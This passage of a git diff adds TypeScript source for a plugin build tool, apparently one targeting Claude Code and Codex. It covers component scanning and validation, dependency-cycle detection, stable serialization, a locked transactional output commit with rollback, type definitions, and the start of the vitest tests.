diagnostics.error('EXTENSION_SEMANTICS_INVALID', issue.message, { + phase: 'discover', location: { path: sourcePath }, fieldPath: issue.path, + }); + } + } + return object as PlatformExtensions; +} + +async function listDirectory(directory: string): Promise { + try { + return (await fs.readdir(directory, { withFileTypes: true })).sort((a, b) => a.name.localeCompare(b.name, 'en')); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return []; + throw error; + } +} + +async function scanCommands(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + const directory = path.join(config.srcDir, 'commands'); + const result: CommandComponent[] = []; + for (const entry of await listDirectory(directory)) { + const file = path.join(directory, entry.name); + const sourcePath = relative(config.root, file); + if (!entry.isFile() || !entry.name.endsWith('.md')) { + diagnostics.error('COMMAND_ENTRY_INVALID', 'Commands must be one-level .md files.', { phase: 'discover', location: { path: sourcePath } }); + continue; + } + const id = entry.name.slice(0, -3); + if (!validateId(id, sourcePath, diagnostics)) + continue; + const parsed = await parseMarkdown(file, config.root, diagnostics); + if (!parsed) + continue; + validateFields(parsed.data, ['description', 'argumentHint', 'requires', 'extensions'], sourcePath, diagnostics); + const description = stringField(parsed.data, 'description', sourcePath, diagnostics, true); + if (!description) + continue; + const command: CommandComponent = { + kind: 'command', id, description, body: parsed.body, sourcePath, + requires: parseRequires(parsed.data.requires, sourcePath, diagnostics), + extensions: parseExtensions(parsed.data.extensions, sourcePath, diagnostics), + }; + const argumentHint = stringField(parsed.data, 'argumentHint', sourcePath, diagnostics); + if (argumentHint !== undefined) + command.argumentHint = argumentHint; + result.push(command); + } + return result; +} + +async function collectSkillAuxiliary( + directory: string, + config: ResolvedConfig, + diagnostics: DiagnosticCollector, + prefix = '', +): Promise { + const result: SkillAuxiliaryFile[] = []; + for (const entry of await listDirectory(path.join(directory, prefix))) { + if (prefix === '' && entry.name === 'SKILL.md') + continue; + const relativePath = path.posix.join(prefix.split(path.sep).join('/'), entry.name); + const file = path.join(directory, relativePath); + if (entry.isSymbolicLink()) { + diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { + phase: 'discover', location: { path: relative(config.root, file) }, + }); + } else if (entry.isDirectory()) { + result.push(...await collectSkillAuxiliary(directory, config, diagnostics, relativePath)); + } else if (entry.isFile()) { + const stat = await fs.stat(file); + result.push({ path: relativePath, sourcePath: file, mode: modeFromStat(stat.mode) }); + } else { + diagnostics.error('SOURCE_ENTRY_UNSUPPORTED', 'Only regular files and directories are supported.', { + phase: 'discover', location: { path: relative(config.root, file) }, + }); + } + } + return result; +} + +async function scanSkills(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + const directory = path.join(config.srcDir, 'skills'); + const result: SkillComponent[] = []; + for (const entry of await listDirectory(directory)) { + const skillDirectory = path.join(directory, entry.name); + const sourcePath = relative(config.root, skillDirectory); + if (!entry.isDirectory()) { + diagnostics.error('SKILL_ENTRY_INVALID', 'Skills must be one-level directories.', { phase: 'discover', location: { path: sourcePath } }); + continue; + } + if (!validateId(entry.name, sourcePath, diagnostics)) + continue; + const file = path.join(skillDirectory, 'SKILL.md'); + if (!await exists(file)) { + diagnostics.error('SKILL_FILE_REQUIRED', 'Skill directory must contain SKILL.md.', { phase: 'discover', location: { path: sourcePath } }); + continue; + } + const parsed = await parseMarkdown(file, config.root, diagnostics); + if (!parsed) + continue; + const markdownPath = relative(config.root, file); + validateFields(parsed.data, ['description', 'invocation', 'requires', 'extensions'], markdownPath, diagnostics); + const description = stringField(parsed.data, 'description', markdownPath, diagnostics, true); + if (!description) + continue; + let user = true; + let model = true; + if (parsed.data.invocation !== undefined) { + if (parsed.data.invocation === null || typeof parsed.data.invocation !== 'object' || Array.isArray(parsed.data.invocation)) { + diagnostics.error('SKILL_INVOCATION_INVALID', 'invocation must be a mapping.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation'] }); + } else { + const invocation = parsed.data.invocation as Record; + for (const key of Object.keys(invocation)) { + if (key !== 'user' && key !== 'model') + diagnostics.error('SKILL_INVOCATION_FIELD', `Unknown invocation field "${key}".`, { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation', key] }); + } + if (typeof invocation.user === 'boolean') + user = invocation.user; + else if (invocation.user !== undefined) + diagnostics.error('SKILL_INVOCATION_BOOLEAN', 'invocation.user must be boolean.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation', 'user'] }); + if (typeof invocation.model === 'boolean') + model = invocation.model; + else if (invocation.model !== undefined) + diagnostics.error('SKILL_INVOCATION_BOOLEAN', 'invocation.model must be boolean.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation', 'model'] }); + } + } + if (!user && !model) + diagnostics.error('SKILL_INVOCATION_EMPTY', 'invocation.user and invocation.model cannot both be false.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation'] }); + result.push({ + kind: 'skill', id: entry.name, description, invocation: { user, model }, + body: parsed.body, sourcePath: markdownPath, + requires: parseRequires(parsed.data.requires, markdownPath, diagnostics), + extensions: parseExtensions(parsed.data.extensions, markdownPath, diagnostics), + auxiliaryFiles: await collectSkillAuxiliary(skillDirectory, config, diagnostics), + }); + } + return result; +} + +async function scanAgents(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + const directory = path.join(config.srcDir, 'agents'); + const result: AgentComponent[] = []; + for (const entry of await listDirectory(directory)) { + const file = path.join(directory, entry.name); + const sourcePath = relative(config.root, file); + if (!entry.isFile() || !entry.name.endsWith('.md')) { + diagnostics.error('AGENT_ENTRY_INVALID', 'Agents must be one-level .md files.', { phase: 'discover', location: { path: sourcePath } }); + continue; + } + const id = entry.name.slice(0, -3); + if (!validateId(id, sourcePath, diagnostics)) + continue; + const parsed = await parseMarkdown(file, config.root, diagnostics); + if (!parsed) + continue; + validateFields(parsed.data, ['description', 'model', 'capabilities', 'requires', 'extensions'], sourcePath, diagnostics); + const description = stringField(parsed.data, 'description', sourcePath, diagnostics, true); + if (!description) + continue; + const modelValue = parsed.data.model ?? 'inherit'; + const model = typeof modelValue === 'string' && AGENT_MODELS.has(modelValue as AgentModel) + ? modelValue as AgentModel + : 'inherit'; + if (model !== modelValue) + diagnostics.error('AGENT_MODEL_INVALID', 'model must be inherit, fast, or capable.', { phase: 'discover', location: { path: sourcePath }, fieldPath: ['model'] }); + const capabilityValues = stringArray(parsed.data.capabilities, ['capabilities'], sourcePath, diagnostics); + const capabilities = capabilityValues.filter((capability): capability is AgentCapability => { + if (AGENT_CAPABILITIES.has(capability as AgentCapability)) + return true; + diagnostics.error('AGENT_CAPABILITY_INVALID', `Unknown capability "${capability}".`, { phase: 'discover', location: { path: sourcePath }, fieldPath: ['capabilities'] }); + return false; + }); + result.push({ + kind: 'agent', id, description, model, capabilities, + body: parsed.body, sourcePath, + requires: parseRequires(parsed.data.requires, sourcePath, diagnostics), + extensions: parseExtensions(parsed.data.extensions, sourcePath, diagnostics), + }); + } + return result; +} + +async function collectPublicTree( + source: string, + target: string, + config: ResolvedConfig, + diagnostics: DiagnosticCollector, +): Promise { + let stat: import('node:fs').Stats; + try { + stat = await fs.lstat(source); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + diagnostics.error('PUBLIC_SOURCE_MISSING', 'Public copy source does not exist.', { phase: 'discover', location: { path: relative(config.root, source) } }); + return []; + } + throw error; + } + if (stat.isSymbolicLink()) { + diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { phase: 'discover', location: { path: relative(config.root, source) } }); + return []; + } + if (stat.isFile()) + return [{ sourcePath: source, targetPath: target.split(path.sep).join('/'), mode: modeFromStat(stat.mode) }]; + if (!stat.isDirectory()) { + diagnostics.error('SOURCE_ENTRY_UNSUPPORTED', 'Only regular files and directories are supported.', { phase: 'discover', location: { path: relative(config.root, source) } }); + return []; + } + const result: PublicFile[] = []; + for (const entry of await listDirectory(source)) + result.push(...await collectPublicTree(path.join(source, entry.name), path.join(target, entry.name), config, diagnostics)); + return result; +} + +async function scanPublic(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + if (!config.public.enabled || !await exists(config.public.dir)) + return []; + if (!config.public.copy) + return collectPublicTree(config.public.dir, '', config, diagnostics); + const result: PublicFile[] = []; + for (const rule of config.public.copy) + result.push(...await collectPublicTree(path.join(config.public.dir, rule.from), rule.to, config, diagnostics)); + return result; +} + +function componentKey(kind: ComponentKind, id: string): string { + return `${kind}:${id}`; +} + +function validateGraph(components: readonly Component[], diagnostics: DiagnosticCollector): void { + const byKey = new Map(components.map(component => [componentKey(component.kind, component.id), component])); + const edges = new Map(); + for (const component of components) { + const from = componentKey(component.kind, component.id); + const targets = [ + ...component.requires.skills.map(id => componentKey('skill', id)), + ...component.requires.agents.map(id => componentKey('agent', id)), + ]; + edges.set(from, targets); + for (const target of targets) { + if (target === from) { + diagnostics.error('COMPONENT_DEPENDENCY_SELF', `${from} cannot require itself.`, { phase: 'validate', component: { kind: component.kind, id: component.id }, location: { path: component.sourcePath } }); + } else if (!byKey.has(target)) { + diagnostics.error('COMPONENT_DEPENDENCY_MISSING', `${from} requires missing ${target}.`, { phase: 'validate', component: { kind: component.kind, id: component.id }, location: { path: component.sourcePath } }); + } + } + } + + const visiting = new Set(); + const visited = new Set(); + const stack: string[] = []; + const reported = new Set(); + const visit = (node: string): void => { + if (visited.has(node)) + return; + if (visiting.has(node)) { + const start = stack.indexOf(node); + const cycle = [...stack.slice(start), node]; + const signature = cycle.join(' -> '); + if (!reported.has(signature)) { + diagnostics.error('COMPONENT_DEPENDENCY_CYCLE', `Dependency cycle: ${signature}`, { phase: 'validate' }); + reported.add(signature); + } + return; + } + visiting.add(node); + stack.push(node); + for (const target of edges.get(node) ?? []) { + if (byKey.has(target)) + visit(target); + } + stack.pop(); + visiting.delete(node); + visited.add(node); + }; + for (const key of [...byKey.keys()].sort()) + visit(key); +} + +async function validateModuleDirectories(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + const checks = [ + { directory: 'hooks', module: '@tokenroll/acplugin-module-hooks' }, + { directory: 'mcp', module: '@tokenroll/acplugin-module-mcp' }, + ]; + const enabled = new Set(config.modules.map(module => module.name)); + for (const check of checks) { + const directory = path.join(config.srcDir, check.directory); + if ((await listDirectory(directory)).length > 0 && !enabled.has(check.module)) { + diagnostics.error('MODULE_REQUIRED', `Source under src/${check.directory} requires ${check.module}.`, { + phase: 'discover', location: { path: relative(config.root, directory) }, hint: `Add ${check.module} to modules.`, + }); + } + } +} + +export async function scanProject( + config: ResolvedConfig, + diagnostics = new DiagnosticCollector(), +): Promise<{ project: PluginProject; diagnostics: DiagnosticCollector }> { + await validateModuleDirectories(config, diagnostics); + const [commands, skills, agents, publicFiles] = await Promise.all([ + scanCommands(config, diagnostics), + scanSkills(config, diagnostics), + scanAgents(config, diagnostics), + scanPublic(config, diagnostics), + ]); + validateGraph([...commands, ...skills, ...agents], diagnostics); + + const project: PluginProject = { + root: config.root, + name: config.name, + version: config.version, + description: config.description, + commands, + skills, + agents, + publicFiles, + }; + if (config.displayName !== undefined) + project.displayName = config.displayName; + return { project, diagnostics }; +} diff --git a/packages/core/src/serialization.ts b/packages/core/src/serialization.ts new file mode 100644 index 0000000..18dc2cc --- /dev/null +++ b/packages/core/src/serialization.ts @@ -0,0 +1,25 @@ +import { stringify } from 'yaml'; + +export function sortObject(value: unknown): unknown { + if (Array.isArray(value)) + return value.map(sortObject); + if (value !== null && typeof value === 'object') { + return Object.fromEntries(Object.entries(value as Record) + .filter(([, child]) => child !== undefined) + .sort(([a], [b]) => a.localeCompare(b, 'en')) + .map(([key, child]) => [key, sortObject(child)])); + } + return value; +} + +export function stableJson(value: unknown): string { + return `${JSON.stringify(sortObject(value), null, 2)}\n`; +} + +export function stableYaml(value: unknown): string { + return stringify(sortObject(value), { lineWidth: 0 }).trimEnd(); +} + +export function markdownWithFrontmatter(frontmatter: Record, body: string): string { + return `---\n${stableYaml(frontmatter)}\n---\n${body.trim()}\n`; +} diff --git a/packages/core/src/transaction.ts b/packages/core/src/transaction.ts new file mode 100644 index 0000000..64deaba --- /dev/null +++ b/packages/core/src/transaction.ts @@ -0,0 +1,218 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { hashFile } from './artifacts.js'; +import type { Artifact, TargetId } from './types.js'; + +export type ManagedOutputPhase + = | 'lock-acquired' + | 'recovery-complete' + | 'stage-materialized' + | 'stage-validated' + | 'transaction-written' + | 'backup-created' + | 'output-swapped'; + +export interface CommitManagedOutputOptions { + onPhase?(phase: ManagedOutputPhase): void | Promise; + afterSwap?(): void | Promise; +} + +async function exists(candidate: string): Promise { + try { + await fs.access(candidate); + return true; + } catch { + return false; + } +} + +async function materializeFile(root: string, artifact: Artifact): Promise { + const destination = path.join(root, ...artifact.path.split('/')); + await fs.mkdir(path.dirname(destination), { recursive: true }); + if (artifact.source.type === 'bytes') + await fs.writeFile(destination, artifact.source.value, { mode: artifact.mode }); + else + await fs.copyFile(artifact.source.path, destination); + await fs.chmod(destination, artifact.mode); +} + +export async function materializeTargets( + root: string, + targets: ReadonlyMap, +): Promise { + await fs.mkdir(root, { recursive: true }); + for (const target of [...targets.keys()].sort()) { + const targetRoot = path.join(root, target); + await fs.mkdir(targetRoot, { recursive: true }); + for (const artifact of targets.get(target) ?? []) + await materializeFile(targetRoot, artifact); + } +} + +async function validateMaterializedTargets( + root: string, + targets: ReadonlyMap, +): Promise { + for (const target of [...targets.keys()].sort()) { + const targetRoot = path.join(root, target); + for (const artifact of targets.get(target) ?? []) { + const destination = path.join(targetRoot, ...artifact.path.split('/')); + const stat = await fs.lstat(destination); + if (stat.isSymbolicLink() || !stat.isFile()) + throw new Error(`Materialized Artifact is not a regular file: ${target}/${artifact.path}`); + const actual = await hashFile(destination); + if (actual.size !== artifact.size || actual.sha256 !== artifact.sha256) + throw new Error(`Materialized Artifact integrity mismatch: ${target}/${artifact.path}`); + if ((stat.mode & 0o777) !== artifact.mode) + throw new Error(`Materialized Artifact mode mismatch: ${target}/${artifact.path}`); + } + } +} + +export async function validateMaterialization( + targets: ReadonlyMap, +): Promise { + const temporary = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-validate-')); + try { + await materializeTargets(temporary, targets); + await validateMaterializedTargets(temporary, targets); + } finally { + await fs.rm(temporary, { recursive: true, force: true }); + } +} + +export async function commitManagedOutput( + outDir: string, + targets: ReadonlyMap, + options: CommitManagedOutputOptions = {}, +): Promise { + const resolved = path.resolve(outDir); + const parent = path.dirname(resolved); + const base = path.basename(resolved); + if (resolved === path.parse(resolved).root || base === '' || base === '.' || base === '..') + throw new Error(`Unsafe managed output path: ${outDir}`); + + await fs.mkdir(parent, { recursive: true }); + const lockPath = path.join(parent, `.${base}.acplugin.lock`); + const transactionPath = path.join(parent, `.${base}.acplugin-transaction.json`); + const backupPath = path.join(parent, `.${base}.acplugin-backup`); + let stage: string | undefined; + let backupCreated = false; + let outputSwapped = false; + + const acquireLock = async (): Promise => { + try { + const handle = await fs.open(lockPath, 'wx'); + await handle.writeFile(`${JSON.stringify({ schemaVersion: 1, pid: process.pid })}\n`); + return handle; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'EEXIST') + throw error; + try { + const record = JSON.parse(await fs.readFile(lockPath, 'utf8')) as { pid?: number }; + if (typeof record.pid !== 'number') + throw new Error('lock has no process id', { cause: error }); + try { + process.kill(record.pid, 0); + throw new Error(`Managed output is locked by process ${record.pid}: ${outDir}`, { cause: error }); + } catch (processError) { + if ((processError as NodeJS.ErrnoException).code !== 'ESRCH') + throw processError; + } + await fs.rm(lockPath, { force: true }); + const handle = await fs.open(lockPath, 'wx'); + await handle.writeFile(`${JSON.stringify({ schemaVersion: 1, pid: process.pid })}\n`); + return handle; + } catch (lockError) { + throw new Error(`Managed output is locked: ${outDir}. ${String(lockError)}`, { cause: lockError }); + } + } + }; + const lock = await acquireLock(); + + try { + await options.onPhase?.('lock-acquired'); + if (await exists(backupPath)) { + if (!await exists(resolved)) + await fs.rename(backupPath, resolved); + else + await fs.rm(backupPath, { recursive: true, force: true }); + } + if (await exists(transactionPath)) + await fs.rm(transactionPath, { force: true }); + await options.onPhase?.('recovery-complete'); + + stage = await fs.mkdtemp(path.join(parent, `.${base}.acplugin-stage-`)); + await materializeTargets(stage, targets); + await options.onPhase?.('stage-materialized'); + await validateMaterializedTargets(stage, targets); + await options.onPhase?.('stage-validated'); + await fs.writeFile(transactionPath, JSON.stringify({ schemaVersion: 1, outDir: base }) + '\n', { flag: 'wx' }); + await options.onPhase?.('transaction-written'); + + if (await exists(resolved)) { + await fs.rename(resolved, backupPath); + backupCreated = true; + } + try { + await options.onPhase?.('backup-created'); + await fs.rename(stage, resolved); + stage = undefined; + outputSwapped = true; + await options.onPhase?.('output-swapped'); + await options.afterSwap?.(); + try { + await fs.rm(transactionPath, { force: true }); + } catch { + // The complete output is committed. The next invocation can remove a + // retained transaction record without treating cleanup as build failure. + } + } catch (error) { + try { + if (outputSwapped && await exists(resolved)) + await fs.rm(resolved, { recursive: true, force: true }); + if (backupCreated && await exists(backupPath)) + await fs.rename(backupPath, resolved); + } catch (rollbackError) { + throw new AggregateError([error, rollbackError], `Managed output rollback failed: ${outDir}`, { cause: rollbackError }); + } + throw error; + } + if (await exists(backupPath)) { + try { + await fs.rm(backupPath, { recursive: true, force: true }); + } catch { + // The committed output is complete. A retained backup is recovered on + // the next invocation rather than turning a successful swap into failure. + } + } + } catch (error) { + if (!(error instanceof AggregateError)) { + try { + await fs.rm(transactionPath, { force: true }); + } catch { + // A transaction record is safe to retain: the next invocation recovers it. + } + } + throw error; + } finally { + if (stage) { + try { + await fs.rm(stage, { recursive: true, force: true }); + } catch { + // Staging cleanup is recoverable and cannot replace the primary result. + } + } + try { + await lock.close(); + } catch { + // The process owns this handle; a close failure is not a build outcome. + } + try { + await fs.rm(lockPath, { force: true }); + } catch { + // A retained lock record is reconciled by a later invocation. + } + } +} diff --git a/packages/core/src/types.ts b/packages/core/src/types.ts new file mode 100644 index 0000000..698dcde --- /dev/null +++ b/packages/core/src/types.ts @@ -0,0 +1,325 @@ +export const TARGET_IDS = ['claude-code', 'codex'] as const; +export const BUILD_COMMANDS = ['dev', 'validate', 'inspect', 'build'] as const; +export const BUILD_MODES = ['development', 'production'] as const; +export const COMPATIBILITY_LEVELS = ['native', 'transform', 'degraded', 'unsupported'] as const; +export const COMPONENT_KINDS = ['command', 'skill', 'agent'] as const; + +export type TargetId = typeof TARGET_IDS[number]; +export type BuildCommand = typeof BUILD_COMMANDS[number]; +export type BuildMode = typeof BUILD_MODES[number]; +export type CompatibilityLevel = typeof COMPATIBILITY_LEVELS[number]; +export type ComponentKind = typeof COMPONENT_KINDS[number]; +export type DiagnosticSeverity = 'error' | 'warning'; +export type ArtifactMode = 0o644 | 0o755; + +export interface SourceLocation { + path: string; + line?: number; + column?: number; +} + +export interface Diagnostic { + code: string; + severity: DiagnosticSeverity; + message: string; + phase: string; + target?: TargetId; + module?: string; + component?: { kind: ComponentKind; id: string }; + location?: SourceLocation; + fieldPath?: readonly (string | number)[]; + related?: readonly SourceLocation[]; + hint?: string; +} + +export interface CompatibilityEntry { + target: TargetId; + subject: string; + capability: string; + level: CompatibilityLevel; + transformation?: string; + reason: string; + causes?: readonly string[]; +} + +export interface ComponentRequires { + skills: readonly string[]; + agents: readonly string[]; +} + +export interface PlatformExtensions { + 'claude-code'?: Readonly>; + 'codex'?: Readonly>; +} + +export interface CommandComponent { + kind: 'command'; + id: string; + description: string; + argumentHint?: string; + body: string; + sourcePath: string; + requires: ComponentRequires; + extensions: PlatformExtensions; +} + +export interface SkillAuxiliaryFile { + path: string; + sourcePath: string; + mode: ArtifactMode; +} + +export interface SkillComponent { + kind: 'skill'; + id: string; + description: string; + invocation: { user: boolean; model: boolean }; + body: string; + sourcePath: string; + requires: ComponentRequires; + extensions: PlatformExtensions; + auxiliaryFiles: readonly SkillAuxiliaryFile[]; +} + +export type AgentModel = 'inherit' | 'fast' | 'capable'; +export type AgentCapability + = | 'filesystem:read' + | 'filesystem:write' + | 'search' + | 'shell' + | 'network' + | 'delegate'; + +export interface AgentComponent { + kind: 'agent'; + id: string; + description: string; + model: AgentModel; + capabilities: readonly AgentCapability[]; + body: string; + sourcePath: string; + requires: ComponentRequires; + extensions: PlatformExtensions; +} + +export type Component = CommandComponent | SkillComponent | AgentComponent; + +export interface PublicFile { + sourcePath: string; + targetPath: string; + mode: ArtifactMode; +} + +export interface PluginProject { + root: string; + name: string; + version: string; + description: string; + displayName?: string; + commands: readonly CommandComponent[]; + skills: readonly SkillComponent[]; + agents: readonly AgentComponent[]; + publicFiles: readonly PublicFile[]; +} + +export interface PublicCopyRule { + from: string; + to: string; +} + +export type PublicConfig = false | string | { + dir?: string; + copy?: readonly PublicCopyRule[]; +}; + +export type TargetConfig = TargetId | { id: TargetId; strict?: boolean }; + +export interface BuildConfig { + outDir?: string; + strict?: boolean; +} + +export interface ConfigEnvironment { + command: BuildCommand; + mode: BuildMode; +} + +export type UserConfigExport = UserConfig | ((environment: ConfigEnvironment) => UserConfig | Promise); + +export interface UserConfig { + name: string; + version: string; + description: string; + displayName?: string; + srcDir?: string; + public?: PublicConfig; + targets?: readonly TargetConfig[]; + modules?: readonly AcpluginModule[]; + build?: BuildConfig; + extensions?: PlatformExtensions; +} + +export interface ResolvedTarget { + id: TargetId; + strict: boolean; +} + +export interface ResolvedPublicConfig { + enabled: boolean; + dir: string; + copy?: readonly PublicCopyRule[]; +} + +export interface ResolvedConfig { + root: string; + configPath: string; + command: BuildCommand; + mode: BuildMode; + name: string; + version: string; + description: string; + displayName?: string; + srcDir: string; + public: ResolvedPublicConfig; + targets: readonly ResolvedTarget[]; + modules: readonly AcpluginModule[]; + outDir: string; + strict: boolean; + extensions: PlatformExtensions; +} + +export interface ArtifactBytesSource { + type: 'bytes'; + value: Uint8Array; +} + +export interface ArtifactFileSource { + type: 'file'; + path: string; +} + +export interface ArtifactInput { + path: string; + source: ArtifactBytesSource | ArtifactFileSource; + mode?: ArtifactMode; +} + +export interface Artifact extends ArtifactInput { + owner: string; + mode: ArtifactMode; + size: number; + sha256: string; +} + +export interface ManifestContribution { + owner: string; + fields: Readonly>; +} + +export interface TargetContribution { + artifacts?: readonly ArtifactInput[]; + manifestFields?: Readonly>; + compatibility?: readonly CompatibilityEntry[]; +} + +export type TypeScriptModuleLoader = (path: string) => Promise; + +export interface ModuleBaseContext { + config: ResolvedConfig; + diagnostics: DiagnosticCollectorLike; + loadTypeScriptModule: TypeScriptModuleLoader; + workDir: string; + dependencyState: ReadonlyMap; + dependencyBuiltState: ReadonlyMap; +} + +export type ModuleDiscoverContext = ModuleBaseContext; + +export interface ModuleValidateContext extends ModuleBaseContext { + project: PluginProject; +} + +export type ModuleBuildContext = ModuleValidateContext; + +export interface ModuleGenerateContext extends ModuleBuildContext { + target: TargetId; +} + +export interface ModuleBuildEndContext extends ModuleBaseContext { + error?: unknown; +} + +export interface AcpluginModule { + name: string; + dependsOn?: readonly string[]; + configResolved?(config: ResolvedConfig): void | Promise; + discover?(context: ModuleDiscoverContext): State | Promise; + validate?(context: ModuleValidateContext, state: State): void | Promise; + build?(context: ModuleBuildContext, state: State): BuiltState | Promise; + generate?( + context: ModuleGenerateContext, + state: State, + builtState: BuiltState, + ): TargetContribution | void | Promise; + buildEnd?(context: ModuleBuildEndContext): void | Promise; +} + +export interface CompilerContext { + config: ResolvedConfig; + project: PluginProject; + target: ResolvedTarget; + contributions: readonly { module: string; contribution: TargetContribution }[]; + diagnostics: DiagnosticCollectorLike; +} + +export interface CompilerOutput { + artifacts: readonly ArtifactInput[]; + compatibility: readonly CompatibilityEntry[]; +} + +export interface Compiler { + id: TargetId; + compile(context: CompilerContext): CompilerOutput | Promise; +} + +export interface DiagnosticCollectorLike { + add(diagnostic: Diagnostic): void; + error(code: string, message: string, options?: Partial>): void; + warning(code: string, message: string, options?: Partial>): void; + readonly diagnostics: readonly Diagnostic[]; + readonly hasErrors: boolean; +} + +export interface ArtifactReportEntry { + target: TargetId; + path: string; + owner: string; + mode: ArtifactMode; + size: number; + sha256: string; +} + +export interface BuildReport { + schemaVersion: '1'; + command: BuildCommand; + mode: BuildMode; + project: { name: string; version: string }; + targets: readonly TargetId[]; + diagnostics: readonly Diagnostic[]; + compatibility: readonly CompatibilityEntry[]; + artifacts: readonly ArtifactReportEntry[]; + success: boolean; + committed: boolean; +} + +export interface BuildRequest { + config: ResolvedConfig; + compilers: ReadonlyMap; + loadTypeScriptModule: TypeScriptModuleLoader; + commit: boolean; +} + +export interface BuildResult { + project?: PluginProject; + report: BuildReport; +} diff --git a/packages/core/test/core.test.ts b/packages/core/test/core.test.ts new file mode 100644 index 0000000..9f94f20 --- /dev/null +++ b/packages/core/test/core.test.ts @@ -0,0 +1,336 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + ArtifactGraph, + buildProject, + bytesArtifact, + commitManagedOutput, + DiagnosticCollector, + type AcpluginModule, + type Compiler, + type ManagedOutputPhase, + resolveConfig, + scanProject, +} from '../src/index.js'; + +const temporaryDirectories: string[] = []; + +async function temporaryProject(): Promise { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-core-test-')); + temporaryDirectories.push(root); + return root; +} + +afterEach(async () => { + await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); +}); + +describe('config', () => { + it('normalizes the default targets and directories', async () => { + const root = await temporaryProject(); + const result = resolveConfig({ + name: 'test-plugin', + version: '1.0.0', + description: 'Test plugin.', + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + + expect(result.diagnostics).toEqual([]); + expect(result.config?.targets).toEqual([ + { id: 'claude-code', strict: true }, + { id: 'codex', strict: true }, + ]); + expect(result.config?.srcDir).toBe(path.join(root, 'src')); + expect(result.config?.outDir).toBe(path.join(root, 'dist')); + expect(result.config?.displayName).toBe('Test Plugin'); + }); + + it('never relaxes structural config failures', async () => { + const root = await temporaryProject(); + const result = resolveConfig({ + name: 'Invalid Name', + version: 'nope', + description: '', + build: { strict: false, outDir: '.' }, + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + + expect(result.config).toBeUndefined(); + expect(result.diagnostics.every(diagnostic => diagnostic.severity === 'error')).toBe(true); + }); + + it('rejects unknown and incorrectly typed nested config fields', async () => { + const root = await temporaryProject(); + const result = resolveConfig({ + name: 'test-plugin', + version: '1.0.0', + description: 'Test plugin.', + build: { strict: 'yes', clean: true }, + public: { copy: [{ from: 'assets', to: 'assets', transform: 'text' }] }, + targets: [{ id: 'codex', strict: 'yes', compiler: 'custom' }], + extensions: { native: {} }, + } as never, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + + expect(result.config).toBeUndefined(); + expect(result.diagnostics.map(diagnostic => diagnostic.code)).toEqual(expect.arrayContaining([ + 'CONFIG_FIELD_UNKNOWN', + 'CONFIG_STRICT_INVALID', + 'CONFIG_TARGET_STRICT_INVALID', + ])); + }); + + it('rejects canonical semantics and executable values inside target extensions', async () => { + const root = await temporaryProject(); + const result = resolveConfig({ + name: 'test-plugin', version: '1.0.0', description: 'Test plugin.', + extensions: { codex: { body: 'duplicate prompt', vendor: { loader: () => 'unsafe' } } }, + } as never, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + + expect(result.config).toBeUndefined(); + expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'CONFIG_EXTENSION_SEMANTICS')).toHaveLength(2); + }); +}); + +describe('canonical scanner', () => { + it('discovers components, dependencies, auxiliary files, and Public', async () => { + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.mkdir(path.join(root, 'public'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review changes.\nrequires:\n agents: [reviewer]\n---\nReview the change.\n'); + await fs.writeFile(path.join(root, 'src/skills/review/references/checks.md'), 'checks'); + await fs.writeFile(path.join(root, 'src/commands/check.md'), '---\ndescription: Check a change.\nrequires:\n skills: [review]\n---\nCheck {{arguments}}.\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Focused reviewer.\nmodel: capable\ncapabilities: [filesystem:read, search]\n---\nReview carefully.\n'); + await fs.writeFile(path.join(root, 'public/icon.bin'), new Uint8Array([1, 2, 3])); + const resolved = resolveConfig({ name: 'test-plugin', version: '1.0.0', description: 'Test.' }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + const diagnostics = new DiagnosticCollector(); + const { project } = await scanProject(resolved.config!, diagnostics); + + expect(diagnostics.diagnostics).toEqual([]); + expect(project.commands.map(component => component.id)).toEqual(['check']); + expect(project.skills[0]?.auxiliaryFiles[0]?.path).toBe('references/checks.md'); + expect(project.agents[0]?.model).toBe('capable'); + expect(project.publicFiles[0]?.targetPath).toBe('icon.bin'); + }); + + it('reports a complete dependency cycle', async () => { + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/a'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/b'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/a/SKILL.md'), '---\ndescription: A.\nrequires:\n skills: [b]\n---\nA body.\n'); + await fs.writeFile(path.join(root, 'src/skills/b/SKILL.md'), '---\ndescription: B.\nrequires:\n skills: [a]\n---\nB body.\n'); + const resolved = resolveConfig({ name: 'test-plugin', version: '1.0.0', description: 'Test.' }, 